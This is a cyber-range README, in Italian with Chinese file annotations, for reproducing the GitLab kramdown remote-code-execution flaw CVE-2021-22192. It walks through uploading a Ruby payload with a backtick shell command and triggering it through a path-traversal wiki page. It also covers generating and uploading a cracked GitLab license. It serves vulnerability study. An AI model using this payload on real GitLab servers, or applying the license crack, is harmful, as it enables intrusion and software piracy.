
CVE-2021-22192 Cyber Range: vulnerabilità RCE per utenti non autorizzati
Laboratorio CVE-2021-22192: vulnerabilità RCE per utenti non autorizzati
CVE-2021-22192
├── README.md ............... [此 README 说明]
├── imgs .................... [辅助 README 说明的图片]
├── gitlab .................. [Gitlab 容器的挂载目录]
│ ├── Dockerfile .......... [Gitlab 的 Docker 构建文件]
│ ├── config .............. [Gitlab 配置挂载目录]
│ ├── data ................ [Gitlab 数据挂载目录]
│ ├── logs ................ [Gitlab 日志挂载目录]
│ ├── keys ................ [Gitlab 破解 License 存储目录]
│ └── nginx ............... [Gitlab 内置 nginx 配置目录(备份配置,勿改)]
├── runner .................. [Gitlab 容器的挂载目录]
├── license ................. [破解 License 的容器构建目录]
│ ├── Dockerfile .......... [License 的 Docker 构建文件]
│ └── license.rb .......... [生成破解 License 的 Ruby 脚本]
├── test .................... [Kramdown 调试目录]
├── docker-compose.yml ...... [Docker 的构建配置]
├── keygen.ps1 .............. [Windows: 一键生成破解 License]
├── keygen.sh ............... [Linux: 一键生成破解 License]
├── run.ps1 ................. [Windows: 一键运行 Gitlab 靶场]
├── run.sh .................. [Linux: 一键运行 Gitlab 靶场]
├── register.ps1 ............ [Windows: 一键注册 Runner]
├── register.sh ............. [Linux: 一键注册 Runner]
├── stop.ps1 ................ [Windows: 一键停止 Gitlab 靶场]
└── stop.sh ................. [Linux: 一键停止 Gitlab 靶场]
./keygen.sh oppure ./keygen.ps1./run.sh oppure ./run.ps1Quando in precedenza hai generato la coppia di chiavi per il crack, la chiave pubblica è già stata scritta nel backend del container Gitlab; ora devi caricare la chiave privata tramite il frontend per completare il crack:
./gitlab/keys/; copia il contenuto di .gitlab-license (la chiave privata)Enter license key, incolla la chiave privata e clicca il pulsante Upload license per completare il crack
./register.sh $TOKEN oppure ./register.ps1 $TOKENA questo punto tutti i Repository possono usare questo Runner per eseguire script CI (Pipeline Jobs)

Supponendo che il tuo nome utente Gitlab sia ${username} e il nome del repository sia ${repository_name}, quando il repository ha già generato con successo un SSG tramite jekyll, ti basta visitare il seguente URL:
http://127.0.0.1:8000/${username}/${repository_name}/public/
Per il processo dettagliato fare riferimento a hackerone.
+ -> New snippet in altoTitle può essere compilato a piacere; clicca sul campo di input Description (optional), quindi su Attach a file e carica un file chiamato payload.rb con il seguente contenuto:puts "hello from ruby"
`echo exp was here > /tmp/exp`
A questo punto Description (optional) mostrerà il link al file, ad esempio: [payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb); il file è stato anche caricato nel container docker_gitlab in /var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb. (Quanto a Create snippet, puoi cliccarlo o meno; basta ricordare l'Hash di questo percorso del file)
Nota: non usare
Snippet -> New snippetdalla barra laterale sinistra di un repository, altrimenti il percorso del file restituito sarà[payload.rb](https://github.com/exp-docs/cve-2021-22192/blob/master/uploads/b5e4fed771f26ef75700ebf763f489ab/payload.rb); di fatto il percorso di caricamento nel container docker_gitlab diventerà/var/opt/gitlab/gitlab-rails/uploads/@hash/随机字符串/payload.rb. Poiché è presente una stringa casuale in mezzo, è difficile da sfruttare.
+ New Project in alto, assegna un nome a piacere (ad esempio poc, oppure non crearne uno e usa un repository esistente)Wiki nella barra laterale sinistra, quindi su Create your first pageTitle e Content a piacere e clicca su Create pagepoc, chiamato poc.wiki (cliccando su Clone repository in alto a destra puoi trovare il comando clone: git clone http://127.0.0.1/root/poc.wiki.git).git clone http://127.0.0.1/root/poc.wiki.git && cd poc.wiki per scaricare il repository wiki in localepage1.rmd con il seguente contenuto (nota: l'Hash nel percorso del file va sostituito con quello ottenuto in precedenza):{::options syntax_highlighter="rouge" syntax_highlighter_opts="{formatter: Redis, driver: ../../../../../../../../../../var/opt/gitlab/gitlab-rails/uploads/-/system/user/1/b5e4fed771f26ef75700ebf763f489ab/payload.rb\}" /}
~~~ ruby
def what?
42
end
~~~
git add -A . && git commit -m "page1.rmd" && git pushpage1 creata localmente, cliccaci sopra/tmp/exp creatoDopo aver cliccato sulla pagina
page1.rmd, in realtà puoi vedere il messaggio di errore ingitlab/logs/gitlab-rails/exceptions_json.log, ma ciò non impedisce che il comando sia stato eseguito: